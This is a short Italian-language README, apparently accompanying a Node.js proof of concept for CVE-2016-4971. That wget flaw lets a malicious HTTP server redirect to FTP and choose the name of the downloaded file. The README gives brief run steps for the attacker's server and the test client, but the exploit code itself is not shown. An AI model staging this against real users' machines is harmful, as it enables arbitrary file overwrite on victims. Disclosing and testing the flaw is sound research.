
CVE-2016-4971 scritto in nodejs
Su un reindirizzamento del server da HTTP a una risorsa FTP, wget si fiderebbe del server HTTP e utilizza il nome nell'URL reindirizzato come nome del file di destinazione.
Vedi il post sul mio blog per maggiori dettagli.
Sul tuo server,
node wget.js
Sul tuo computer di test,
wget http://url.to.your/server
screenshot 1
screenshot 2